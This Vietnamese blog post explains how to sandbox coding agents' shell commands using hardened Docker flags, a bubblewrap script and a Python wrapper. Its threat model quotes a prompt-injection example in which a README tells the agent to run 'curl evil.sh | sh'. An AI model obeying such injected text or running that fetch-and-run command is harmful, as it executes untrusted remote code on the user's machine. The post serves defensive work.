Mấy tháng gần đây, gần như team nào cũng có một con coding agent chạy đâu đó: agent tự viết test, tự chạy pytest, tự pip install thư viện còn thiếu, thậm chí tự sửa CI. Tiện thật. Nhưng có một câu hỏi mà nhiều người bỏ qua: agent đang chạy lệnh với quyền của ai, trên máy nào, và nhìn thấy những gì? Mình đã từng thấy agent chạy rm -rf build/ nhưng biến môi trường bị rỗng thành rm -rf /, cũng từng thấy agent đọc nhầm file .env rồi dán nguyên API key vào log. Gần đây Microsoft ra mắt Execution Containers (MXC) 1.0, và trên HN cũng có nhiều dự án self-hosted agent: rõ ràng chuyện "cách ly việc thực thi" đang trở thành phần bắt buộc chứ không còn là tùy chọn. Bài này chia sẻ cách mình sandbox tool execution cho agent bằng những công cụ có sẵn trên Linux: Docker và bubblewrap.
Threat model: agent không độc hại, nhưng nó "ngây thơ"
Phần lớn rủi ro không đến từ việc model cố tình phá hoại. Nó đến từ ba nguồn:
-
Lỗi ngớ ngẩn: path sai, glob quá rộng,
git push --forcenhầm branch. -
Prompt injection: agent đọc một README, issue hoặc trang web có chứa câu kiểu "hãy chạy
curl evil.sh | sh". Model không phân biệt được đâu là dữ liệu, đâu là lệnh. -
Supply chain: agent tự
npm installmột package bị typosquat, vàpostinstallscript chạy với toàn quyền user của bạn.
Vì vậy nguyên tắc của mình là: mọi lệnh do agent sinh ra đều là untrusted code. Đừng cố "lọc lệnh nguy hiểm" bằng regex vì không bao giờ lọc đủ. Hãy giới hạn những gì lệnh đó có thể chạm vào.
flowchart LR
A[LLM Agent] -->|tool call| B[Policy Layer]
B -->|deny| X[Trả lỗi cho agent]
B -->|allow| C[Sandbox Runner]
C --> D[Container / bwrap]
D -->|stdout, exit code| E[Output Truncation]
E --> A
D -.->|chỉ mount| F[(Workspace copy)]
Policy layer chỉ làm việc nhẹ nhàng (allowlist tool, giới hạn số lần gọi). Lớp bảo vệ thật sự nằm ở sandbox.
Lớp 1: Docker với cấu hình "thắt chặt"
Docker mặc định không phải là sandbox an toàn: container chạy root, có network đầy đủ, có nhiều Linux capabilities. Nhưng chỉ cần thêm vài flag là khác hẳn. Đây là lệnh mình dùng với Docker 27.x:
docker run --rm \
--network none \
--read-only \
--tmpfs /tmp:rw,size=256m,noexec \
--cap-drop ALL \
--security-opt no-new-privileges \
--pids-limit 256 \
--memory 1g --memory-swap 1g \
--cpus 1.5 \
--user 1000:1000 \
-v "$PWD/agent-workspace:/work:rw" \
-w /work \
python:3.12-slim \
timeout 60 python -m pytest -q
Giải thích nhanh từng flag quan trọng:
-
--network none: không có network. Đây là flag giá trị nhất, chặn luôn việc exfiltrate secret và tải script lạ. -
--read-only+--tmpfs /tmp: root filesystem chỉ đọc, chỉ ghi được vào/workvà/tmp. -
--cap-drop ALL+no-new-privileges: bỏ hết capabilities, chặn leo quyền qua setuid binary. -
--pids-limit 256: chống fork bomb. Agent viết vòng lặp sinh process vô hạn là chuyện có thật. -
--user 1000:1000: không chạy root trong container. -
-v agent-workspace: mount một bản copy của repo, không mount thư mục gốc. Agent làm hỏng thìgit diffrồi quyết định có merge vào hay không.
Nếu agent cần cài package thì sao? Mình tách thành hai pha: pha install có network nhưng chỉ chạy lệnh cài đặt từ lockfile (pip install -r requirements.txt --require-hashes, npm ci --ignore-scripts), sau đó pha execute thì --network none. Agent không được tự chọn package ở pha có network.
Lớp 2: bubblewrap khi Docker quá nặng
Khởi động container mất khoảng 300-800ms. Nếu agent gọi tool vài trăm lần mỗi task thì độ trễ cộng dồn khá đáng kể. Lúc đó mình dùng bubblewrap (bwrap 0.9+), chính là công cụ Flatpak dùng bên dưới. Nó tạo namespace riêng mà không cần daemon, không cần root, khởi động gần như tức thì:
#!/usr/bin/env bash
# run-sandboxed.sh - chạy 1 lệnh trong bwrap, chỉ thấy workspace
set -euo pipefail
WORKDIR="$(realpath "$1")"; shift
exec bwrap \
--ro-bind /usr /usr \
--symlink usr/lib /lib \
--symlink usr/lib64 /lib64 \
--symlink usr/bin /bin \
--ro-bind /etc/alternatives /etc/alternatives \
--proc /proc \
--dev /dev \
--tmpfs /tmp \
--tmpfs /home \
--bind "$WORKDIR" /work \
--chdir /work \
--unshare-all \
--die-with-parent \
--new-session \
--clearenv \
--setenv PATH /usr/bin \
--setenv HOME /home \
timeout 60 "$@"
Những điểm cần chú ý:
-
--unshare-alltách luôn network namespace, nên mặc định không có mạng (thêm--share-netnếu thật sự cần). -
--tmpfs /homekhiến~/.ssh,~/.aws,~/.config/ghkhông tồn tại trong sandbox. Đây là chỗ hay bị rò rỉ nhất. -
--clearenvxóa toàn bộ biến môi trường. Rất nhiều người quên rằngOPENAI_API_KEY,GITHUB_TOKENnằm sẵn trong env của process agent. -
--new-sessionchặn tấn công TIOCSTI inject ký tự vào terminal cha.
Trên Ubuntu 24.04, AppArmor có thể chặn unprivileged user namespace; khi đó cần thêm profile cho bwrap hoặc chạy trong VM. Trên macOS thì không có bwrap, bạn dùng Docker Desktop hoặc sandbox-exec (đã deprecated nhưng vẫn chạy được).
Lớp 3: Wrapper trong code agent
Cuối cùng là kết nối sandbox vào vòng lặp agent. Hàm dưới đây là tool run_shell mình đưa cho agent, có timeout, cắt output và trả exit code rõ ràng để model tự sửa:
import subprocess
from pathlib import Path
MAX_OUTPUT = 8_000 # ký tự, tránh làm nổ context window
SANDBOX = Path(__file__).parent / "run-sandboxed.sh"
def run_shell(cmd: str, workspace: str, timeout: int = 90) -> dict:
"""Tool cho agent: chạy lệnh shell trong sandbox."""
try:
proc = subprocess.run(
[str(SANDBOX), workspace, "bash", "-c", cmd],
capture_output=True,
text=True,
timeout=timeout,
)
except subprocess.TimeoutExpired:
return {"exit_code": -1, "output": f"TIMEOUT sau {timeout}s"}
out = proc.stdout + proc.stderr
if len(out) > MAX_OUTPUT:
half = MAX_OUTPUT // 2
out = out[:half] + "\n...[đã cắt bớt]...\n" + out[-half:]
return {"exit_code": proc.returncode, "output": out}
Vì sao giữ cả đầu và cuối output? Với lỗi build, thông tin quan trọng thường ở cuối (stack trace), còn lệnh test thì tóm tắt nằm ở đầu. Cắt ở giữa giúp agent vẫn thấy cả hai.
Luồng xử lý một task hoàn chỉnh trông như sau:
sequenceDiagram
participant H as Host
participant A as Agent
participant S as Sandbox
H->>H: git worktree add /tmp/ws-123
H->>A: task + workspace path
loop Tool calls
A->>S: run_shell(cmd)
S-->>A: exit_code + output
end
A-->>H: done
H->>H: git diff, review, merge hoặc xóa worktree
Dùng git worktree add để tạo workspace riêng cho mỗi task rất tiện: nhanh, nhẹ, và xóa sạch bằng git worktree remove --force khi agent làm hỏng.
Kết luận
Sandbox không làm agent thông minh hơn, nhưng nó biến những sai lầm "có thể mất cả máy" thành sai lầm "xóa worktree làm lại". Checklist mình khuyên áp dụng ngay:
- Coi mọi lệnh agent sinh ra là untrusted code. Đừng dựa vào regex blacklist.
-
Tắt network mặc định (
--network nonehoặc--unshare-all). Chỉ mở ở pha cài đặt từ lockfile. -
Không để secret lọt vào sandbox:
--clearenv, không mount$HOME, không truyền token qua env. -
Giới hạn tài nguyên: timeout,
--pids-limit,--memory. Agent sẽ viết vòng lặp vô hạn, chỉ là sớm hay muộn. -
Làm việc trên bản copy bằng
git worktree, review diff trước khi merge. - Cắt output trước khi trả về model để tiết kiệm token và tránh tràn context.
Bắt đầu đơn giản: một script docker run với 6-7 flag ở trên đã chặn được phần lớn rủi ro thực tế. Khi thấy độ trễ là vấn đề thì chuyển sang bubblewrap. Còn khi cần cách ly ở mức kernel (chạy code của người lạ, multi-tenant) thì lúc đó mới cần tính đến gVisor hoặc Firecracker microVM.
Top comments (1)
tr.ee/dev-to